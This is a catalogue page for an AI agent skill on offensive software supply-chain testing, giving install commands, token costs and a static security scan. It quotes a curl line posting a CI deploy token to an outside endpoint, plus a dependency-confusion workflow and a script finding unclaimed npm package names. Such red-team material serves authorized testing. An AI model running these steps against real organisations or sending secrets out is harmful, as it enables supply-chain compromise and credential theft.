offensive-supply-chain

offensive-supply-chain is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 179 tokens per session (4,500 once invoked), scanned C, a copy of offensive-supply-chain, Apache-2.0.

A guide to offensive software supply-chain testing, covering attacks on the path from package discovery to software use. It includes dependency confusion, where a public package can be chosen instead of a private internal package.

In plain words
What is it for?
It is for reviewing npm, PyPI, and NuGet dependency workflows, internal registry behavior, and other software supply-chain attack paths.
Why use it?
It helps identify weaknesses in package names, registries, and dependency controls before an attacker can introduce malicious code. Use it only in an authorized assessment.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for reviewing npm, PyPI, and NuGet dependency workflows, internal registry behavior, and other software supply-chain attack paths.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/miosa-osa/osa/offensive-supply-chain
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add Miosa-osa/OSA --skill offensive-supply-chain
Clone the repo
git clone --depth 1 https://github.com/Miosa-osa/OSA

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-supply-chain

README.md
[![agentmods](https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-supply-chain/github.svg)](https://agentmods.dev/skills/miosa-osa/osa/offensive-supply-chain)
Your own site
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-supply-chain"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-supply-chain/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for offensive-supply-chain

Your own site · 80×15
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-supply-chain"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-supply-chain.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 179 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,500 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 3 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 91% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00179 $0.04500
Opus 5.5 $0.00072 $0.01800
Sonnet 5.5 $0.00036 $0.00900
Haiku 4.5 $0.00018 $0.00450

Measured 1mo ago against content hash 9eb53a643d90, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

offensive-supply-chain scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLmediumData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \

Unrestricted tool accessmediumExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

Build systems execute arbitrary code during compilation, installation, and

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
Origin

This is a copy

91% identical to offensive-supply-chain — 42 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

priv/skills/offensive-supply-chain/SKILL.md · 587 lines

How it starts

The opening of the file, as written. The whole thing — 587 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Offensive Supply Chain Attacks

Software supply chain attacks exploit the trust relationships between developers, package registries, build systems, and deployment pipelines. You target the components and processes that organizations depend on but rarely audit with the same rigor as their own code. A single compromised dependency can propagate across thousands of downstream consumers, making supply chain the highest leverage attack surface in modern software ecosystems.

This skill covers the offensive lifecycle: reconnaissance of internal package names, exploitation of registry resolution logic, build system hook abuse, CI/CD pipeline tampering, and container image supply chain attacks. Every technique maps to authorized red team engagement patterns with safe callback mechanisms.

Quick Workflow

  1. Enumerate internal package names from target artifacts (lock files, source maps, error messages, GitHub repos).
  2. Identify the package ecosystem (npm, PyPI, NuGet, Maven, Go, Ruby) and registry configuration.
  3. Select attack vector: dependency confusion, typosquatting, build hook injection, CI/CD tampering, or container supply chain.
  4. Prepare a safe proof-of-concept package with DNS canary or HTTP callback -- no destructive payload.
  5. Register the package on the public registry or stage the artifact for injection.
  6. Monitor for callback to confirm execution in the target environment.
  7. Document the attack path, affected systems, and remediation guidance.

Dependency Confusion

Dependency confusion exploits the resolution order when an organization uses both private and public package registries. If the private registry is not configured as the exclusive source, the package manager may prefer a higher-versioned public package over the internal one.

npm Dependency Confusion

When a project references an unscoped private package and the .npmrc does not pin the registry exclusively, npm falls back to the public registry.

# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt

# Check which names are unclaimed on the public npm registry
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pkg_names.txt

Read the full file on GitHub · 587 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 587 lines · 179 tokens per session scan C 9eb53a643d90

Subscribe to this mod's changes

offensive-supply-chain is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 179 tokens to every session and 4,500 once invoked, about $0.0007 per session on Opus 5.5. A static security scan graded it C with 3 findings (sends data to an external url, unrestricted tool access, makes network calls). It is 91% identical to offensive-supply-chain, differing in 42 lines, and is treated as a copy.